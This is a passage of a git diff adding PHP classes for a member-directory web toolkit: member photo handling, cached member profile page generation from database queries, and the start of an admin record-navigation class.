+               return $this->id;
+       }
+
+       //      }}}
+       //      {{{     getImage()
+
+    /**
+     * Get the photo image name
+     * 
+     * @return string file name of image stored on image server
+     * @access public 
+     */
+       public function getImage()
+       {
+               return $this->image;
+       }
+
+       //      }}}
+       //      {{{     getPending()
+
+    /**
+     * Get the pending status of the photo
+     * 
+     * @return boolean if the photo is pending or not
+     * @access public 
+     */
+       public function getPending()
+       {
+               return $this->pending;
+       }
+
+       //      }}}
+       //      {{{     getPosition()
+
+    /**
+     * Get the position of the photo
+     * 
+     * @return integer current position in the linked list / db of the photo
+     * @access public 
+     */
+       public function getPosition()
+       {
+               return $this->pos;
+       }
+
+       //      }}}
+
+       //      {{{     remove()
+
+    /**
+     * Remove a photo from the db
+     * 
+        * Handles deleting all data from the member_photos table and any
+        * data that might currently be pending for the photo as well.
+     * 
+     * @param Toolkit_Image_Server $is Image Server object
+     * @param Config_Container     $c  Member Configuration
+     *
+     * @return boolean false on error
+     * @access public 
+     */
+       public function remove(Toolkit_Image_Server $is, Config_Container $c)
+       {
+               try {
+                       $is->imageDelete($this->image);
+                       //      Get rid of the photo in the member_photos table.
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE id = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->execute(array($this->id));
+
+            $config = $c->getItem('section', 'tables');
+            $pendingTable = $config->getItem('directive', 'pendingTable');
+
+                       //      Get rid of any updates to the photo so we don't have
+                       //      orphaned data lying around.
+                       $sql = "
+                DELETE FROM {$pendingTable->getContent()}
+                 WHERE db_table    = '{$this->tableName}'
+                   AND member_id   = :member_id
+                   AND foreign_key = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->bindParam(':id', $this->id, PDO::PARAM_INT);
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     setCaption()
+
+    /**
+     * Set the caption for the photo
+     * 
+     * @param string $caption new caption text
+        *
+     * @return boolean result of db update
+     * @access public 
+     */
+       public function setCaption($caption)
+       {
+               $this->caption = $caption;
+               try {
+                       $sql = "
+                UPDATE {$this->tableName}
+                   SET caption   = ?
+                 WHERE member_id = ?
+                   AND id        = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       return $stmt->execute(array($caption, $this->mid, $this->id));
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+    //  {{{ setDbh()
+
+    /**
+     * sets the database handler object
+     *
+     * using dependecy injection to help testing this application
+     *
+     * @param PDO $pdo PHP Data Object used for DB calls.
+     *
+     * @return void
+     * @access public
+     */
+    public function setDbh(PDO $pdo)
+    {
+        $this->dbh = $pdo;
+    }
+
+    //  }}}
+       //      {{{     setPending()
+
+    /**
+     * Set the pending status for the photo
+     * 
+     * @param boolean $pending If the photo is pending or not
+        *
+     * @return boolean result of db update
+     * @access public 
+     */
+       public function setPending($pending)
+       {
+               $this->pending = $pending;
+               try {
+                       $sql = "
+                UPDATE {$this->tableName}
+                   SET pending   = ?
+                 WHERE member_id = ?
+                   AND id        = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       return $stmt->execute(array($pending, $this->mid, $this->id));
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setPendingData()
+
+    /**
+     * Set the content of any data that might be pending
+     * 
+     * Currently this only supports pending caption
+     *
+     * @param Config_Container $c Member configuration
+     * 
+     * @return bolean false on error
+     * @access public 
+     */
+       public function setPendingData(Config_Container $c)
+       {
+        $config = $c->getItem('section', 'tables');
+        $pendingTable = $config->getItem('directive', 'pendingTable');
+
+               try {
+                       //      Get any updates for that photo that are still in 
+                       //      a pending status.
+                       $sql = "
+                               SELECT *
+                                 FROM {$pendingTable->getContent()}
+                                WHERE id in (
+                                       SELECT max(id)
+                                         FROM {$pendingTable->getContent()}
+                                        WHERE foreign_key = :foreign_key
+                                          AND db_table = 'member_photos'
+                                        GROUP BY field)";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->execute(array($this->id));
+                       $row = $stmt->fetch();
+
+                       if ($row['field'] == 'caption') {
+                               $this->pendingCaption = $row['update'];
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setPosition()
+
+    /**
+     * Set a new position for a node
+     * 
+     * Handle updating the nodes position in the linked list as well as db.
+     * 
+     * @param integer $pos new position number for node
+        *
+     * @return boolean result of position update
+     * @access public 
+     */
+       public function setPosition($pos)
+       {
+               //      Not updating anything so just return.
+               if ($pos == $this->pos) {
+                       return true;
+               }
+               try {
+                       $this->pos = $pos;
+
+                       $sql = "
+                UPDATE {$this->tableName}
+                   SET pos       = ?
+                 WHERE member_id = ?
+                   AND id        = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       return $stmt->execute(array($pos, $this->mid, $this->id));
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/ProfilePage.php b/Toolkit/Members/ProfilePage.php
new file mode 100644 (file)
index 0000000..d74dd08
--- /dev/null
@@ -0,0 +1,910 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Member Profile Page
+ * 
+ * PHP version 5
+ * 
+ * @category  MemberDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: ProfilePage.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Generates Member profile pages
+ * 
+ * Uses server side caching to increase page return speed.  If a cache exists
+ * for a member the cache will be returned.  If the member profile template
+ * has been changed after the cache file was written, all the cached
+ * profiles will be cleaned so they can be rewritten on the next pull
+ * using the new template.
+ * 
+ * @category  MemberDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_ProfilePage
+{
+    //  {{{ properties
+
+    /**
+     * Database handler
+     * @var    object   
+     * @access protected
+     */
+    protected $dbh;
+
+    /**
+     * Cache handler
+     * @var    object   
+     * @access protected
+     */
+    protected $cache;
+
+    /**
+     * Image Server
+     * @var    object
+     * @access protected
+     */
+    protected $is;
+
+    /**
+     * Page catid
+     * @var    integer
+     * @access private
+     */
+    private $_catid;
+
+    /**
+     * Member Id to get profile for
+     * @var    integer
+     * @access private
+     */
+    private $_mid;
+
+    //  }}}
+    //  {{{ __construct()
+
+    /**
+     * constructor
+     * 
+     * @param PDO                  $pdo Database handler
+     * @param Toolkit_Image_Server $is  Image Server Object
+     * @param integer              $mid Member to get profile for
+     *
+     * @return void
+     * @access public 
+     */
+    public function __construct(PDO $pdo, Toolkit_Image_Server $is, $mid)
+    {
+        $this->dbh = $pdo;
+        $this->is  = $is;
+        $this->setMemberId($mid);
+    }
+
+    //  }}}
+
+       //      {{{     _isNewMember()
+
+       /**
+        * Determines if we are dealing w/ a new member from the addyourbusiness form
+        *
+        * @return boolean
+        * @access private
+        */
+       private function _isNewMember()
+       {
+               try {
+                       $sql = "
+                SELECT new_member
+                  FROM member
+                 WHERE member_id = :mid";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $stmt->bindColumn('new_member', $isNew);
+                       $stmt->fetch();
+
+                       return (bool) $isNew;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+    //  {{{ isTemplateNewer()
+
+    /**
+     * Check to see if a template has been updated after a cache file
+     *
+     * @param string $tpl   path to template file
+     * @param string $cache path to cache file
+     *                        
+     * @return boolean If template mod time is lte cache mod time
+     * @access protected
+     */
+    protected function isTemplateNewer($tpl, $cache)
+    {
+        //  If the cache profile exists
+        if (file_exists($cache)) {
+            //  if the template was modified after the cache was written
+            //  mod time will be greater
+            return (filemtime($cache) <= filemtime($tpl));
+        }
+    }
+
+    //  }}}
+
+    //  {{{ getImageServer()
+
+    /**
+     * Returns the Image Server set for the class
+     *
+     * @return mixed     Image Server if set, otherwise false
+     * @access protected
+     */
+    protected function getImageServer()
+    {
+        return is_object($this->is) ? $this->is : false;
+    }
+    
+    //  }}}
+
+       //      {{{     memberActive()
+
+       /**
+        * Check to make sure the member is active in the DB.
+        *
+        * @return boolean true or false if the member is active
+        * @access private
+        */
+       private function _memberActive()
+    {
+        if (!ctype_digit((string) $this->_mid)) {
+            return false;
+        }
+
+               try {
+                       $sql = "
+                SELECT CASE
+                       WHEN active THEN 1
+                       ELSE 0
+                       END AS active
+                  FROM member
+                 WHERE member_id = :member_id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $stmt->bindColumn('active', $active);
+                       $stmt->fetch();
+
+                       return (bool) $active;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     memberExists()
+
+       /**
+        * Check to make sure the member exists in the database
+        *
+        * @return boolean true or false if the member exists
+        * @access private
+        */
+       private function _memberExists()
+    {
+        if (!ctype_digit((string) $this->_mid)) {
+            return false;
+        }
+
+               try {
+                       $sql = "
+                               SELECT count(*) AS total
+                                 FROM member
+                                WHERE member_id = :member_id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $stmt->bindColumn('total', $total);
+                       $stmt->fetch();
+
+                       return (bool) $total;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+    //  {{{ setCatId()
+
+    /**
+     * Set the catid for the page
+     *
+     * @param integer $catid page id from db
+     *                        
+     * @return void
+     * @access public 
+     * @throws PEAR Error on invalid member id
+     */
+    public function setCatId($catid)
+    {
+        if (is_numeric($catid) && ctype_digit((string) $catid)) {
+            $this->_catid = $catid;
+        } else {
+            $this->_catid = null;
+            throw new PEAR_Exception('Invalid catid');
+        }
+    }
+
+    //  }}}
+    //  {{{ setConfig()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @param Config_Container $c Configuration object
+     *
+     * @return void
+     * @access public
+     */
+    public function setConfig(Config_Container $c)
+    {
+        $this->config = $c;
+    }
+
+    //  }}}
+       //      {{{     setMemberAccommodations()
+
+    /**
+     * Get all the member accommodation info
+     * 
+     * @param object &$page The object you want to use with the flexy template
+        *
+     * @return void
+     * @access protected
+     */
+       protected function setMemberAccommodations(&$page)
+       {
+               try {
+                       //      Check to see if there are any rows in the 
+            //  member_accommodations table that are linked to this
+            //  member. If there are, then we know this member
+                       //      needs the hotel section
+                       $sql = "
+                SELECT reservation_id, num_rooms, year_round
+                  FROM member_accommodations
+                 WHERE member_id = :mid";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+            if ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                $accommodations = array_filter($row);
+            }
+
+            $page->has_accommodations       = !empty($accommodations);
+            $page->does_online_reservations = !is_null($accommodations['reservation_id']);
+            $page->reservation_id           = $accommodations['reservation_id'];
+            $page->lists_number_of_rooms    = !is_null($accommodations['num_rooms']);
+            $page->num_rooms                = $accommodations['num_rooms'];
+            $page->year_round               = $accommodations['year_round'];
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setMemberAmenities()
+
+    /**
+     * Get all the member amenity info
+     * 
+     * @param object &$page The object you want to use with the flexy template
+        *
+     * @return void     
+     * @access protected
+     */
+       protected function setMemberAmenities(&$page)
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM amenity
+                                WHERE amenity_id in (
+                                               SELECT amenity_id
+                                                 FROM member_amenity
+                                                WHERE member_id = :mid)";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch()) {
+                               $page->amenities[] = $row['amenity_name'];
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setMemberCCards()
+
+    /**
+     * Get all the member Credit Card info
+     * 
+     * @param object &$page The object you want to use with the flexy template
+        *
+     * @return void     
+     * @access protected
+     */
+       protected function setMemberCCards(&$page)
+       {
+               try {
+                       $sql = "
+                SELECT *
+                  FROM ccard_type
+                 WHERE ccard_type_id in (
+                                               SELECT ccard_type_id
+                                                 FROM member_ccard_type
+                                                WHERE member_id = :mid)";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch()) {
+                               $page->ccards[] = $row['ccard_type_name'];
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setMemberDetail()
+               
+    /**
+     * Get the member profile page
+     * 
+     * @param object &$page     controller object that will be used with
+     *                          the template
+     * @param string $imagePath URI path to use with image server for target
+     *                          images
+        *
+     * @return string html string of member profile page
+     * @access public
+     */
+       public function setMemberDetail(stdClass &$page, $imagePath)
+       {
+        if (!$this->_validMember()) {
+            return false;
+        }
+        
+        // track member exposure report as detail page
+        //$exposure = new Toolkit_Members_Exposure($this->_mid, 'detail');
+
+               $page->image_path = $imagePath;
+               $page->base_url = BASE_URL;
+
+               $this->setMemberInfo($page);
+               $this->setMemberPhotos($page);
+               $this->setMemberAccommodations($page);
+               $this->setMemberAmenities($page);
+               $this->setMemberCCards($page);
+               $this->setMemberSocialMedia($page);
+               $this->setMemberFiles($page);
+               $this->setMemberPackages($page);
+               $this->setMemberGolf($page);
+               $this->setMemberRestaurant($page);
+
+        $page->show_attributes = ($page->has_accommodations ||
+                                  $page->has_social_media ||
+                                  is_array($page->ccards));
+        return true;
+       }
+
+       //      }}}
+       //      {{{     setMemberFiles()
+
+    /**
+     * Get all the file data for the the member profile being looked at
+     * 
+     * @param object &$page The object you want to use with the flexy template
+        *
+     * @return void
+     * @access protected
+     */
+       protected function setMemberFiles(&$page)
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM member_files
+                                WHERE member_id = :mid
+                                  AND NOT pending";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $count = 0;
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $page->files[$count]['href'] = BASE_URL . "member-file/$mid/{$row['id']}/";
+                               $page->files[$count]['name'] = empty($row['file_name']) ?
+                                                                                         $row['original_name'] :
+                                                                                         $row['file_name'];
+                               ++$count;
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setMemberGolf()
+
+    /**
+     * Get all the golf data for the the member profile being looked at
+     * 
+     * @param object &$page The object you want to use with the flexy template
+        *
+     * @return void
+     * @access protected
+     */
+       protected function setMemberGolf(&$page)
+       {
+               try {
+                       $sql = "        
+                               SELECT column_name, data_type
+                                 FROM information_schema.columns
+                                WHERE table_name = 'member_golf'";
+
+                       $tableData = $this->dbh->query($sql)->fetchAll();
+
+                       $sql = "
+                               SELECT *
+                                 FROM member_golf
+                                WHERE member_id = :mid";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       
+                       if ($row = $stmt->fetch()) {
+                               $show = false;
+                               foreach ($tableData as $td) {
+                                       switch ($td['data_type']) {
+                                       case 'radio' :
+                                       case 'boolean' :
+                                               $golf[$td['column_name']] = ($row[$td['column_name']] == 't') ? 'Yes': 'No';
+                                               break;
+
+                                       case 'integer' :
+                                               break;
+
+                                       case 'text' :
+                                       default :
+                                               $golf[$td['column_name']] = $row[$td['column_name']];
+                                               if (!empty($row[$td['column_name']])) {
+                                                       $show = true;
+                                               }
+                                               break;
+                                       }
+                               }
+
+                $page->golf_info      = $show;
+                $page->par            = $golf['par'];
+                $page->yardage        = $golf['yardage'];
+                $page->course_rating  = $golf['course_rating'];
+                $page->slope_rating   = $golf['slope_rating'];
+                $page->walking_course = $golf['walking_course'];
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+    //  {{{ setMemberId()
+
+    /**
+     * Set a new member id
+     *
+     * @param integer $mid member id to set
+     *                      
+     * @return void
+     * @access public 
+     * @throws PEAR Error on invalid member id
+     */
+    public function setMemberId($mid)
+    {
+        if (is_numeric($mid) && ctype_digit((string) $mid)) {
+            $this->_mid = $mid;
+        } else {
+            $this->_mid = null;
+            throw new PEAR_Exception('Invalid Member Id');
+        }
+    }
+
+    //  }}}
+       //      {{{     setMemberInfo()
+
+    /**
+     * Set the record data stored in the database for the template
+     * 
+     * @param object &$page The object you want to use with the flexy template
+        *
+     * @return void     
+     * @access protected
+     */
+       protected function setMemberInfo(&$page)
+       {
+               try {
+                       $sql = "
+                SELECT m.*, c.city_name, s.state_name,
+                       s.state_abb AS state_abbr
+                  FROM member m JOIN city c USING (city_id), state s
+                 WHERE m.member_id = :mid
+                   AND m.state_id  = s.state_id";
+                       
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $row = $stmt->fetch();
+
+            if (!empty($row['logo'])) {
+                $page->logo = $row['logo'];
+                if ($is = $this->getImageServer()) {
+                    $img = $page->image_path . $row['logo'];
+                    list($w, $h, ) = $is->getImageSize($img);
+                    $page->logo_width  = $w;
+                    $page->logo_height = $h;
+                }
+            }
+
+            $page->member_name = $row['member_name'];
+            $page->street      = $row['street'];
+            //  get reference to [listing type] section of config file
+            $config =& $this->config->getItem('section', 'conf');
+            $ctrlCtyD =& $config->getItem('directive', 'controlledCities');
+            if ($ctrlCtyD->getContent()) {
+                $page->city        = $row['city_name'];
+            } else {
+                $page->city        = $row['city'];
+            }
+            $page->state_name  = $row['state_name'];
+            $page->state_abbr  = $row['state_abbr'];
+            $page->zip         = $row['zip'];
+            $page->phone       = $row['phone'];
+            $page->toll_free   = $row['toll_free'];
+            $page->fax         = $row['fax'];
+            $page->email       = $row['member_contact_email'];
+
+            // this needs to goto memberClick.php page first for tracking
+            // of the member clicked url's
+            if ($row['url']) {
+                $page->url = BASE_URL . 'Toolkit/Members/memberClickThru.php?member_id=' . 
+                    $this->_mid . '&href=' . urlencode(str_replace('http://', '', $row['url']));
+            }
+
+            if (!empty($row['lat']) && !empty($row['lon'])) {
+                $fromAddress  = trim(urlencode(str_replace("\n", "", strip_tags($row['member_name']))));
+                $fromAddress .= "@{$row['lat']},{$row['lon']}";
+            } else {
+                $fromAddress = trim(urlencode(str_replace("\n", "", strip_tags($row['street']))))
+                .','.trim(urlencode(str_replace("\n", "", strip_tags($row['city']))))
+                .','.trim(urlencode(str_replace("\n", "", strip_tags($row['state_name']))));
+            }
+
+            $page->daddr = $fromAddress;
+            $page->description = $row['description'];
+
+            if (defined("MEMBER_SESSION_LIST") && MEMBER_SESSION_LIST) {
+                if ($_SESSION['wish_list'][$this->_mid]) {
+                    $page->addToLink = false;
+                } else {
+                    $page->addToLink = true;
+                }
+                $page->plink = BASE_URL . "Toolkit/Members/TripPlanner/" .
+                    "wish-list.php?catid={$this->_catid}&amp;member_id={$row['member_id']}&amp;detail=1";
+            } else {
+                $page->plink = null;
+            }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setMemberPackages()
+
+    /**
+     * Get all the file data for the the member profile being looked at
+     * 
+     * @param object &$page The object you want to use with the flexy template
+        *
+     * @return void     
+     * @access protected
+     */
+       protected function setMemberPackages(&$page)
+       {
+               try {
+                       $sql = "
+                               SELECT title, description, image
+                                 FROM member_packages
+                                WHERE member_id = :mid
+                                  AND NOT pending
+                   AND CURRENT_DATE BETWEEN sdate AND edate
+                 ORDER BY id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $count = 0;
+            $is = $this->getImageServer();
+                       while ($row = $stmt->fetch()) {
+                               $page->packages[$count]['title'] = $row['title'];
+                               if (!empty($row['image'])) {
+                    $img = $page->image_path . $row['image'];
+                                       $page->packages[$count]['image'] = $img;
+                    if ($is) {
+                        list($w, $h, ) = $is->getImageSize($img);
+                        $page->packages[$count]['w'] = $w;
+                        $page->packages[$count]['h'] = $h;
+                    }
+                               }
+                               if (!empty($row['description'])) {
+                                       $page->packages[$count]['description'] = $row['description'];
+                               }
+                               ++$count;
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setMemberPhotos()
+
+    /**
+     * set all the non-pending photos that a member has
+     * 
+     * @param object &$page The object you want to use with the flexy template
+     *                          
+     * @return void     
+     * @access protected
+     */
+       protected function setMemberPhotos(&$page)
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM member_photos
+                                WHERE member_id = :mid
+                                  AND (NOT pending OR pending IS NULL)
+                                ORDER BY pos";
+                       
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $count = 0;
+            $is = $this->getImageServer();
+                       while ($row = $stmt->fetch()) {
+                               $images[$count]['alt'] = $row['caption'];
+                               $images[$count]['id']  = PHOTO_LARGE_URL . $row['image'];
+                               $images[$count]['src'] = PHOTO_SMALL_URL . $row['image'];
+                               $images[$count]['img'] = $row['image'];
+                if ($is) {
+                    list($w, $h, ) = $is->getImageSize(PHOTO_SMALL_URL . $row['image']);
+                    $images[$count]['w'] = $w;
+                    $images[$count]['h'] = $h;
+                }
+                               ++$count;
+                       }
+
+            $page->photos = !empty($images) ? $images : false;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setMemberRestaurant()
+
+    /**
+     * Get all the restaurant data for the the member profile being looked at
+     * 
+     * @param object &$page The object you want to use with the flexy template
+        *
+     * @return void     
+     * @access protected
+     */
+       protected function setMemberRestaurant(&$page)
+       {
+               try {
+                       $sql = "        
+                               SELECT column_name, data_type
+                                 FROM information_schema.columns
+                                WHERE table_name = 'member_restaurants'";
+
+                       $tableData = $this->dbh->query($sql)->fetchAll();
+
+                       $sql = "
+                               SELECT *
+                                 FROM member_restaurants
+                                WHERE member_id = :mid";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $mid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       
+                       if ($row = $stmt->fetch()) {
+                               $show = false;
+                               foreach ($tableData as $td) {
+                                       switch ($td['data_type']) {
+                                       case 'radio' :
+                                       case 'boolean' :
+                                               $restaurant[$td['column_name']]
+                            = ($row[$td['column_name']] == 't') ? 'Yes': 'No';
+                                               if ($row[$td['column_name']] == 't') {
+                                                       $show = true;
+                                               }
+                                               break;
+
+                                       default :
+                                               $restaurant[$td['column_name']] = $row[$td['column_name']];
+                                               break;
+                                       }
+                               }
+
+                $page->restaurant_info = $show;
+                $page->breakfast       = $restaurant['breakfast'];
+                $page->brunch          = $restaurant['brunch'];
+                $page->lunch           = $restaurant['lunch'];
+                $page->dinner          = $restaurant['dinner'];
+                $page->alcohol         = $restaurant['alcohol'];
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setMemberSocialMedia()
+
+    /**
+     * Gets all the members social media links
+     * 
+     * @param object &$page The object you want to use with the flexy template
+        *
+     * @return mixed array if the member has any links otherwise false
+     * @access protected
+     */
+       protected function setMemberSocialMedia(&$page)
+       {
+               try {
+                       $sql = "
+                SELECT facebook, twitter, myspace, linkedin, blog
+                  FROM member
+                 WHERE member_id = :mid";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mid', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+            $row = $stmt->fetch(PDO::FETCH_ASSOC);
+            $media = array_filter($row);
+
+            if (!empty($media)) {
+                $page->has_social_media = true;
+                foreach ($media as $k => $v) {
+                    $page->$k = $v;
+                }
+            }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+    //  {{{ toHtml()
+
+    /**
+     * Get a profile page for a member
+     *
+     * @param HTML_Template_Flexy $tpl         Flexy template object
+     * @param Cache_Lite          $cache       Cache object
+     * @param string              $imagePath   Image Server URI to image
+     * @param boolean             $exitOnError exit the script when an error
+     *                                         is encountered
+     *
+     * @return string HTML page of a members profile
+     * @access public
+     */
+    public function toHtml(
+        HTML_Template_Flexy $tpl,
+        Cache_Lite $cache,
+        $imagePath,
+        $exitOnError = true
+    ) {
+        //  profile cache name
+        $profileCache = "Member-{$this->_mid}";
+        //  get the profile cache if it exists
+        $out = $cache->get($profileCache, 'Profile');
+        //  template file to check
+        $template  = BASE . 'Toolkit/Members/templates/memberDetail.tpl';
+        //  cache file to check
+        $cacheFile = BASE . "Toolkit/Members/cache/cache_Profile_$profileCache";
+
+        if ($this->isTemplateNewer($template, $cacheFile)) {
+            $cache->clean('Profile');
+            $out = false;
+        }
+
+        if (!$out) {
+            $page = new stdClass();
+            if ($this->setMemberDetail($page, $imagePath)) {
+                $tpl->compile('memberDetail.tpl');
+                $out = $tpl->bufferedOutputObject($page);
+            }
+
+            if ($out === false) {
+                include_once BASE . '404.html';
+                if ($exitOnError) {
+                    exit();
+                }
+            } else {
+                $cache->save($out);
+            }
+        } 
+
+               return $out;
+    }
+
+    //  }}}
+
+    //  {{{ _validMember()
+
+    /**
+     * Verify the member if valid
+     *
+     * check that the member exists in the DB and that they are active
+     *
+     * @return boolean true if valid, false if not
+     * @access private
+     */
+    private function _validMember()
+    {
+        if (   !$this->_memberExists()
+            || !$this->_memberActive()
+            || $this->_isNewMember()
+        ) {
+            return false;
+        } 
+
+        return true;
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/Members/RecordNavigation.php b/Toolkit/Members/RecordNavigation.php
new file mode 100644 (file)
index 0000000..5fc1dde
--- /dev/null
@@ -0,0 +1,207 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Navigation class for editing member records
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: RecordNavigation.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link     http://demo.gaslightmedia.com
+ */
+
+/**
+ * Base class for the memberdb
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_RecordNavigation
+{
+    //  {{{ __construct()
+
+    /**
+     * Constructor
+     *
+     * @param Config_Container $c Configuration object
+     * 
+     * @return void
+     * @access public 
+     */
+    public function __construct(Config_Container $c)
+    {
+        $this->config = $c;
+    }
+
+    //  }}}
+       //      {{{     getPageNav()
+
+    /**
+     * Render the page navigation that is defined in the navStructure
+     * 
+     * @return string Page navigation structure
+     * @access public
+     */
+       public function getPageNav()
+       {
+               $menu =& new HTML_Menu($this->navStructure, 'rows');
+        $menu->forceCurrentIndex($_GET['tab']);
+               
+               $renderer =& new HTML_Menu_DirectRenderer($tpl);
+               $renderer->setEntryTemplate(HTML_MENU_ENTRY_INACTIVE, '<li><a href="{url}" title="{desc}">{Title}</a></li>');
+               $renderer->setEntryTemplate(HTML_MENU_ENTRY_ACTIVE, '<li><a class="current" href="{url}" title="{desc}">{Title}</a></li>');
+               $renderer->setEntryTemplate(HTML_MENU_ENTRY_ACTIVEPATH, '<li><a class="current" href="{url}" title="{desc}">{Title}</a></li>');
+               $renderer->setMenuTemplate('', '');
+               $renderer->setRowTemplate('<ul>', '</ul>');
+
+               $menu->render($renderer);
+               return $renderer->toHtml();
+       }
+
+       //      }}}
+
+       //      {{{     setupAdminNavStructure()
+
+    /**
+     * Sets up a multi dimensional array used for the subnav structure
+     *
+     * @return mixed false on sql error. otherwise void
+     * @access public 
+     */
+       public function setupAdminNavStructure()
+       {
+        //  get reference to [listing type] section of config file
+        $config =& $this->config->getItem('section', 'listing type');
+        //  get coupon
+        $singularDirective =& $config->getItem('directive', 'singular');
+        $singularType = $singularDirective->getContent();
+        $pluralDirective =& $config->getItem('directive', 'plural');
